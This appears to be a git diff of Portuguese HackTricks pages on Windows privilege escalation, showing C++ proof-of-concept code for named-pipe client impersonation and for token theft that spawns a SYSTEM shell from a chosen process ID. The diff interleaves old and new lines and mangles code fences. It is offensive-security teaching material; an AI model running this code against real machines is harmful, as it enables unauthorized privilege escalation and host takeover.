* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Esta informação foi copiada de** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
|
**Verifique:** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
|
||||||
|
|
||||||
## Visão Geral
|
|
||||||
|
|
||||||
Um `pipe` é um bloco de memória compartilhada que processos podem usar para comunicação e troca de dados.
|
|
||||||
|
|
||||||
`Named Pipes` é um mecanismo do Windows que permite que dois processos não relacionados troquem dados entre si, mesmo que os processos estejam localizados em duas redes diferentes. É muito semelhante à arquitetura cliente/servidor, pois existem noções como `um servidor de named pipe` e um `cliente de named pipe`.
|
|
||||||
|
|
||||||
Um servidor de named pipe pode abrir um named pipe com algum nome predefinido e então um cliente de named pipe pode se conectar a esse pipe através do nome conhecido. Uma vez que a conexão é estabelecida, a troca de dados pode começar.
|
|
||||||
|
|
||||||
Este laboratório está preocupado com um código PoC simples que permite:
|
|
||||||
|
|
||||||
* criar um servidor de named pipe simples e de um único thread que aceitará uma conexão de cliente
|
|
||||||
* servidor de named pipe para escrever uma mensagem simples no named pipe para que o cliente de pipe possa lê-la
|
|
||||||
|
|
||||||
## Código
|
|
||||||
|
|
||||||
Abaixo está o PoC para o servidor e o cliente:
|
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="namedPipeServer.cpp" %}
|
|
||||||
```cpp
|
|
||||||
#include "pch.h"
|
|
||||||
#include <Windows.h>
|
|
||||||
#include <iostream>
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
|
|
||||||
LPVOID pipeBuffer = NULL;
|
|
||||||
HANDLE serverPipe;
|
|
||||||
DWORD readBytes = 0;
|
|
||||||
DWORD readBuffer = 0;
|
|
||||||
int err = 0;
|
|
||||||
BOOL isPipeConnected;
|
|
||||||
BOOL isPipeOpen;
|
|
||||||
wchar_t message[] = L"HELL";
|
|
||||||
DWORD messageLenght = lstrlen(message) * 2;
|
|
||||||
DWORD bytesWritten = 0;
|
|
||||||
|
|
||||||
std::wcout << "Creating named pipe " << pipeName << std::endl;
|
|
||||||
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
|
|
||||||
|
|
||||||
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
|
|
||||||
if (isPipeConnected) {
|
|
||||||
std::wcout << "Incoming connection to " << pipeName << std::endl;
|
|
||||||
}
|
|
||||||
|
|
||||||
std::wcout << "Sending message: " << message << std::endl;
|
|
||||||
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="namedPipeClient.cpp" %}
|
|
||||||
```cpp
|
|
||||||
#include "pch.h"
|
|
||||||
#include <iostream>
|
|
||||||
#include <Windows.h>
|
|
||||||
|
|
||||||
const int MESSAGE_SIZE = 512;
|
|
||||||
|
|
||||||
int main()
|
|
||||||
{
|
|
||||||
LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
|
|
||||||
HANDLE clientPipe = NULL;
|
|
||||||
BOOL isPipeRead = true;
|
|
||||||
wchar_t message[MESSAGE_SIZE] = { 0 };
|
|
||||||
DWORD bytesRead = 0;
|
|
||||||
|
|
||||||
std::wcout << "Connecting to " << pipeName << std::endl;
|
|
||||||
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
|
||||||
|
|
||||||
while (isPipeRead) {
|
|
||||||
isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
|
|
||||||
std::wcout << "Received message: " << message;
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
{% endtab %}
|
|
||||||
{% endtabs %}
|
|
||||||
|
|
||||||
## Execução
|
|
||||||
|
|
||||||
Abaixo mostra o servidor de pipe nomeado e o cliente de pipe nomeado funcionando conforme esperado:
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22.png>)
|
|
||||||
|
|
||||||
Vale notar que a comunicação de pipes nomeados por padrão usa o protocolo SMB:
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/Screenshot from 2019-04-04 23-51-48.png>)
|
|
||||||
|
|
||||||
Verificando como o processo mantém um handle para nosso pipe nomeado `mantvydas-first-pipe`:
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (1).png>)
|
|
||||||
|
|
||||||
Da mesma forma, podemos ver o cliente com um handle aberto para o pipe nomeado:
|
|
||||||
|
|
||||||
![](<../../.gitbook/assets/Screenshot from 2019-04-02 23-44-22 (2).png>)
|
|
||||||
|
|
||||||
Podemos até ver nosso pipe com powershell:
|
|
||||||
```csharp
|
|
||||||
((Get-ChildItem \\.\pipe\).name)[-1..-5]
|
|
||||||
```
|
|
||||||
```markdown
|
|
||||||
## Impersonação de Token
|
|
||||||
|
|
||||||
{% hint style="info" %}
|
|
||||||
Observe que, para realizar a impersonação do token do processo cliente, você precisa ter (o processo do servidor que cria o pipe) o privilégio de token **`SeImpersonate`**.
|
|
||||||
{% endhint %}
|
|
||||||
|
|
||||||
É possível para o servidor de pipe nomeado impersonar o contexto de segurança do cliente de pipe nomeado ao utilizar a chamada de API `ImpersonateNamedPipeClient`, que por sua vez altera o token da thread atual do servidor de pipe nomeado com o token do cliente de pipe nomeado.
|
|
||||||
|
|
||||||
Podemos atualizar o código do servidor de pipe nomeado assim para alcançar a impersonação - observe que as modificações estão visíveis na linha 25 e abaixo:
|
|
||||||
```
|
|
||||||
```cpp
|
|
||||||
int main() {
|
|
||||||
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
|
|
||||||
LPVOID pipeBuffer = NULL;
|
|
||||||
HANDLE serverPipe;
|
|
||||||
DWORD readBytes = 0;
|
|
||||||
DWORD readBuffer = 0;
|
|
||||||
int err = 0;
|
|
||||||
BOOL isPipeConnected;
|
|
||||||
BOOL isPipeOpen;
|
|
||||||
wchar_t message[] = L"HELL";
|
|
||||||
DWORD messageLenght = lstrlen(message) * 2;
|
|
||||||
DWORD bytesWritten = 0;
|
|
||||||
|
|
||||||
std::wcout << "Creating named pipe " << pipeName << std::endl;
|
|
||||||
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
|
|
||||||
|
|
||||||
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
|
|
||||||
if (isPipeConnected) {
|
|
||||||
std::wcout << "Incoming connection to " << pipeName << std::endl;
|
|
||||||
}
|
|
||||||
|
|
||||||
std::wcout << "Sending message: " << message << std::endl;
|
|
||||||
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
|
|
||||||
|
|
||||||
std::wcout << "Impersonating the client..." << std::endl;
|
|
||||||
ImpersonateNamedPipeClient(serverPipe);
|
|
||||||
err = GetLastError();
|
|
||||||
|
|
||||||
STARTUPINFO si = {};
|
|
||||||
wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
|
|
||||||
PROCESS_INFORMATION pi = {};
|
|
||||||
HANDLE threadToken = GetCurrentThreadToken();
|
|
||||||
CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
Executando o servidor e conectando-se a ele com o cliente que está executando sob o contexto de segurança administrator@offense.local, podemos ver que a thread principal do servidor de pipe nomeado assumiu o token do cliente de pipe nomeado - offense\administrator, embora o PipeServer.exe em si esteja executando sob o contexto de segurança ws01\mantvydas. Parece uma boa maneira de escalar privilégios?
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,73 +6,23 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
## Código
|
## Código
|
||||||
|
|
||||||
O seguinte código foi copiado [daqui](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). Ele permite **indicar um ID de Processo como argumento** e um CMD **executando como o usuário** do processo indicado será executado.\
|
O seguinte código de [aqui](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). Ele permite **indicar um ID de Processo como argumento** e um CMD **executando como o usuário** do processo indicado será executado.\
|
||||||
Executando em um processo de Alta Integridade, você pode **indicar o PID de um processo executando como System** (como winlogon, wininit) e executar um cmd.exe como system.
|
Executando em um processo de Alta Integridade, você pode **indicar o PID de um processo executando como Sistema** (como winlogon, wininit) e executar um cmd.exe como sistema.
|
||||||
```cpp
|
```cpp
|
||||||
impersonateuser.exe 1234
|
impersonateuser.exe 1234
|
||||||
```
|
```
|
||||||
```cpp
|
```cpp
|
||||||
#include <windows.h>
|
{% code title="impersonateuser.cpp" %}
|
||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
HANDLE hToken;
|
|
||||||
HANDLE hNewToken;
|
|
||||||
BOOL bRes;
|
|
||||||
|
|
||||||
// Open a handle to the current process's token with TOKEN_DUPLICATE access
|
|
||||||
bRes = OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &hToken);
|
|
||||||
if (!bRes) {
|
|
||||||
printf("OpenProcessToken failed. GetLastError: %d\n", GetLastError());
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Duplicate the token with SecurityImpersonation and TokenImpersonation
|
|
||||||
bRes = DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &hNewToken);
|
|
||||||
if (!bRes) {
|
|
||||||
printf("DuplicateTokenEx failed. GetLastError: %d\n", GetLastError());
|
|
||||||
CloseHandle(hToken);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Use the new token for impersonation
|
|
||||||
bRes = SetThreadToken(NULL, hNewToken);
|
|
||||||
if (!bRes) {
|
|
||||||
printf("SetThreadToken failed. GetLastError: %d\n", GetLastError());
|
|
||||||
CloseHandle(hNewToken);
|
|
||||||
CloseHandle(hToken);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Now the current thread is running with the new token's privileges
|
|
||||||
// Do something with elevated privileges here...
|
|
||||||
|
|
||||||
// Revert to self to stop impersonating
|
|
||||||
bRes = RevertToSelf();
|
|
||||||
if (!bRes) {
|
|
||||||
printf("RevertToSelf failed. GetLastError: %d\n", GetLastError());
|
|
||||||
CloseHandle(hNewToken);
|
|
||||||
CloseHandle(hToken);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Close handles
|
|
||||||
CloseHandle(hNewToken);
|
|
||||||
CloseHandle(hToken);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
```
|
||||||
{% endcode %}
|
|
||||||
```cpp
|
```cpp
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
|
@ -201,13 +151,11 @@ printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
```markdown
|
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
## Erro
|
## Erro
|
||||||
|
|
||||||
Em algumas ocasiões, você pode tentar se passar por System e isso pode não funcionar, exibindo uma saída como a seguinte:
|
Em algumas ocasiões, você pode tentar se passar pelo System e isso pode não funcionar, exibindo uma saída como a seguinte:
|
||||||
```
|
|
||||||
```cpp
|
```cpp
|
||||||
[+] OpenProcess() success!
|
[+] OpenProcess() success!
|
||||||
[+] OpenProcessToken() success!
|
[+] OpenProcessToken() success!
|
||||||
|
@ -230,7 +178,7 @@ Vamos verificar as permissões atuais do Administrador sobre os processos `svcho
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (322).png>)
|
![](<../../.gitbook/assets/image (322).png>)
|
||||||
|
|
||||||
A imagem anterior contém todos os privilégios que "Administradores" têm sobre o processo selecionado (como você pode ver no caso de `svchost.exe`, eles só têm privilégios de "Consulta")
|
A imagem anterior contém todos os privilégios que "Administradores" têm sobre o processo selecionado (como você pode ver, no caso de `svchost.exe`, eles só têm privilégios de "Consulta")
|
||||||
|
|
||||||
Veja os privilégios que "Administradores" têm sobre `winlogon.exe`:
|
Veja os privilégios que "Administradores" têm sobre `winlogon.exe`:
|
||||||
|
|
||||||
|
@ -249,7 +197,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue